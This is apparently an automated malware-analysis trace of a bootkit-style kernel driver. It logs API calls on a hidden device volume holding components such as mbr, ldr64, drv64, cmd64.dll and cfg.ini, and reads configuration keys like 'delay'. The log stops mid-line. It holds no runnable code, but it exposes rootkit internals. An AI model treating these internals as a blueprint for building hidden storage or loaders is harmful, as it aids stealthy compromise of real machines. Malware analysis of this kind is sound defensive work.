[0117.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.926] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.926] IdePortDispatch () returned 0x103 [0117.926] KeWaitForMutexObject () returned 0x0 [0117.926] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.926] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.926] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.926] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.926] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.926] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.926] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.926] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.926] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.926] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.927] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.927] KeLeaveCriticalRegion () [0117.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.927] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.927] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.927] KeEnterCriticalRegion () [0117.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.927] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.927] IdePortDispatch () returned 0x103 [0117.927] KeWaitForMutexObject () returned 0x0 [0117.927] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.927] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.927] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.927] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.927] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.927] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.927] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.927] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.927] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.927] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.928] KeLeaveCriticalRegion () [0117.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.928] ReleaseMutex (hMutex=0x100) returned 1 [0117.928] Sleep (dwMilliseconds=0x2bf20) [0117.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x697db2d0, dwHighDateTime=0x1d24fa4)) [0117.937] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.937] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.937] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.937] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.937] KeEnterCriticalRegion () [0117.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.937] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.937] IdePortDispatch () returned 0x103 [0117.937] KeWaitForMutexObject () returned 0x0 [0117.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.937] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.937] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.938] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.938] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.938] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6600 [0117.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.938] KeLeaveCriticalRegion () [0117.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.938] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.938] KeEnterCriticalRegion () [0117.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.938] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.938] KeLeaveCriticalRegion () [0117.938] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.938] KeEnterCriticalRegion () [0117.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.938] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.938] IdePortDispatch () returned 0x103 [0117.938] KeWaitForMutexObject () returned 0x0 [0117.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.938] KeLeaveCriticalRegion () [0117.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.939] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.939] KeEnterCriticalRegion () [0117.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.939] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003477000 [0117.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.939] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.939] IdePortDispatch () returned 0x103 [0117.939] KeWaitForMutexObject () returned 0x0 [0117.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.939] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.939] IdePortDispatch () returned 0x103 [0117.939] KeWaitForMutexObject () returned 0x0 [0117.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.940] KeLeaveCriticalRegion () [0117.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.940] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.940] KeEnterCriticalRegion () [0117.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.940] KeLeaveCriticalRegion () [0117.940] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.940] KeEnterCriticalRegion () [0117.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.940] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.940] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.940] KeLeaveCriticalRegion () [0117.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.941] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.941] KeEnterCriticalRegion () [0117.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.941] ExFreePoolWithTag (P=0xfffffa8003aa6600, Tag=0x0) [0117.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.941] KeLeaveCriticalRegion () [0117.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.941] ReleaseMutex (hMutex=0xf0) returned 1 [0117.941] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.941] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.941] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.941] KeEnterCriticalRegion () [0117.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.941] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.941] IdePortDispatch () returned 0x103 [0117.941] KeWaitForMutexObject () returned 0x0 [0117.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.941] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.941] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.941] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.942] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.942] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1920 [0117.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.942] KeLeaveCriticalRegion () [0117.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.942] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.942] KeEnterCriticalRegion () [0117.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.942] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.942] KeLeaveCriticalRegion () [0117.942] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.942] KeEnterCriticalRegion () [0117.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.942] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.942] IdePortDispatch () returned 0x103 [0117.942] KeWaitForMutexObject () returned 0x0 [0117.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.942] KeLeaveCriticalRegion () [0117.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.942] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.942] KeEnterCriticalRegion () [0117.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.943] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003478000 [0117.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.943] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.943] IdePortDispatch () returned 0x103 [0117.943] KeWaitForMutexObject () returned 0x0 [0117.943] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.943] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.943] IdePortDispatch () returned 0x103 [0117.944] KeWaitForMutexObject () returned 0x0 [0117.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.944] KeLeaveCriticalRegion () [0117.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.944] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.944] KeEnterCriticalRegion () [0117.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.944] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.944] KeLeaveCriticalRegion () [0117.944] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.944] KeEnterCriticalRegion () [0117.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.945] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.945] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.945] KeLeaveCriticalRegion () [0117.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.945] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.945] KeEnterCriticalRegion () [0117.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.945] ExFreePoolWithTag (P=0xfffffa80039d1920, Tag=0x0) [0117.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.945] KeLeaveCriticalRegion () [0117.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.945] ReleaseMutex (hMutex=0xf0) returned 1 [0117.945] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.945] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.945] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.945] KeEnterCriticalRegion () [0117.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.945] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.945] IdePortDispatch () returned 0x103 [0117.946] KeWaitForMutexObject () returned 0x0 [0117.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.946] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.946] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.946] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.946] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.946] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6170 [0117.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.946] KeLeaveCriticalRegion () [0117.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.946] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.946] KeEnterCriticalRegion () [0117.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.946] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.946] KeLeaveCriticalRegion () [0117.946] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.946] KeEnterCriticalRegion () [0117.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.946] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.946] IdePortDispatch () returned 0x103 [0117.946] KeWaitForMutexObject () returned 0x0 [0117.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.947] KeLeaveCriticalRegion () [0117.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.947] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.947] KeEnterCriticalRegion () [0117.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.947] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003479000 [0117.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.947] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.947] IdePortDispatch () returned 0x103 [0117.947] KeWaitForMutexObject () returned 0x0 [0117.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.947] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.947] IdePortDispatch () returned 0x103 [0117.948] KeWaitForMutexObject () returned 0x0 [0117.948] ExReleaseFastMutexUnsafe (in: 